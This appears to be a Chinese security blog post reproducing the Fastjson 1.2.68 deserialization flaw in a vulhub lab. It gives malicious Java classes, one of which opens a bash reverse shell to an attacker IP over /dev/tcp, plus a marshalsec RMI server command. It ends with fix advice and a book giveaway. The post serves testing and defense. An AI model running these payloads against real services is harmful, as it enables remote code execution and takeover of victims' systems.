Fastjson1.2.68反序列化复现(文末送书)

admin 2022年3月28日00:50:31评论261 views字数 2155阅读7分11秒阅读模式


Fastjson1.2.68反序列化复现(文末送书)

 

利用前提:fastjson <=1.2.68,打开了autotype



 

  • 搭建环境


使用vul-hub 搭建漏洞环境


Fastjson1.2.68反序列化复现(文末送书)

 

访问搭好的环境看到json数据就表示搭建成功


Fastjson1.2.68反序列化复现(文末送书)

 

  • 搭建攻击方web环境

假设攻击机为A   被攻击机为B

在A上搭好web服务和rmi服务,并且能够让B访问主机A


 

恶意类如下,在/tmp下创建success文件夹



import java.lang.Runtime;import java.lang.Process;
public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch","/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}


 

 

编译好class文件后搭建rmi服务

 

  • 搭建攻击方RMI服务

搭建rmi服务需要用到marshalsec


java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer"http://192.168.204.1/fastjson/#TouchFile" 9999

 

注:恶意类的class文件前要加#,而且不需要加文件后缀


 

Fastjson1.2.68反序列化复现(文末送书)

 


  • 构造恶意请求

注意红色框重点  RMI服务后面跟A主机开放的域名(ip):端口/恶意类名称


Fastjson1.2.68反序列化复现(文末送书)

 


发送恶意请求后,rmi监听的口会收到B主机的连接并读取恶意类,如果没有监听到就代表失败了


Fastjson1.2.68反序列化复现(文末送书)


响应包如下


 

Fastjson1.2.68反序列化复现(文末送书)

 

  • 查看命令是否被执行

使用docker ps

和 docker exec -it (镜像id) /bin/bash 进入docker搭建好的虚拟机内


 

Fastjson1.2.68反序列化复现(文末送书)

 

发现/tmp/success 创建成功 代表恶意类中的代码被成功执行


 

Fastjson1.2.68反序列化复现(文末送书)

 

 

  • 反弹shell

构建恶意类


 

Fastjson1.2.68反序列化复现(文末送书)

 

代码如下:


import java.lang.Runtime;import java.lang.Process;
public class ReConn{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i>& /dev/tcp/192.168.204.1/7888 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}

 

 

使用nc监听7888端口


Fastjson1.2.68反序列化复现(文末送书)

 

开启RMI服务


Fastjson1.2.68反序列化复现(文末送书)

 

恶意请求


Fastjson1.2.68反序列化复现(文末送书)

 

结果


Fastjson1.2.68反序列化复现(文末送书)

 

  • 批量检测工具fastjson scan


Fastjson1.2.68反序列化复现(文末送书)

Fastjson1.2.68反序列化复现(文末送书)

 

  • 修复建议


    1、升级 Fastjson 到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype);


    2、WAF拦截过滤请求包中的 

@type、%u0040%u0074%u0079%u0070%u0065, u0040type,

x04type等多种编码的autotype 变形;


    3、最少升级到1.2.48以上版本且关闭autotype 选项;升级对应JDK版本到8u191/7u201/6u211/11.0.1 以上。

 





1.《从实践中学习TCP/IP协议》

Fastjson1.2.68反序列化复现(文末送书)

从理论、应用和实践三个维度讲TCP/IP;通过96个实例带你从实践中学习;结合Wireshark和netwox工具讲解;详解ARP、DHCP、DNS、SNMP、Telnet和WHOIS等协议。




2.《从实践中学习Metasploit 5渗透测试》

Fastjson1.2.68反序列化复现(文末送书)

从理论、应用和实践三个维度讲解新版Metasploit 5渗透测试;通过153个操作实例手把手带你学习和实践;涵盖环境搭建、漏洞信息获取、项目准备、实施攻击、漏洞利用等。




3.《从实践中学习Windows渗透测试》

Fastjson1.2.68反序列化复现(文末送书)

从理论、应用和实践三个维度讲解Windows渗透测试的相关知识

通过136个操作实例手把手带领读者从实践中学习Windows渗透测试



4.《web防火墙构建》

Fastjson1.2.68反序列化复现(文末送书)

从理论、应用和实践三个维度介绍Web防火墙构建的相关知识

由浅入深地剖析OSI模型中不同层级的攻击原理和防御方法

涵盖环境搭建、攻击类型、攻击示例、攻击过程分析、防御方法……



5.《从实践中学习Kali Linux渗透测试》

Fastjson1.2.68反序列化复现(文末送书)

从理论、应用和实践三个维度讲解Kali Linux渗透测试的相关知识

通过145个操作实例手把手带领读者从实践中学习Kali Linux渗透测试技术

涵盖环境搭建、信息收集、漏洞扫描与利用、嗅探欺骗、密码攻击、无线渗透……

基于Kali Linux滚动更新(Kali Rolling)版本写作

重点介绍渗透测试三大环节:信息收集、漏洞扫描、漏洞利用





活动详情

为了感谢一直关注我们Khan安全攻防实验室的粉丝们,我们将送出由机械工业出版社赞助的信息安全图书(任选其中一本)

参与规则:

1.关注Khan安全攻防实验室公众号

2.转发本文至朋友圈并保存至开奖时间不可设置分组(设置分组无效)点击在看并加上一句祝福语说不定会增加中奖率哦。

3.抽奖结束凭朋友圈截图联系我

上次抽奖的礼品,粉丝非常满意,感谢大家长久以来的支持!

Fastjson1.2.68反序列化复现(文末送书)



本文始发于微信公众号(Khan安全攻防实验室):Fastjson1.2.68反序列化复现(文末送书)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月28日00:50:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson1.2.68反序列化复现(文末送书)https://cn-sec.com/archives/534479.html

发表评论

匿名网友 填写信息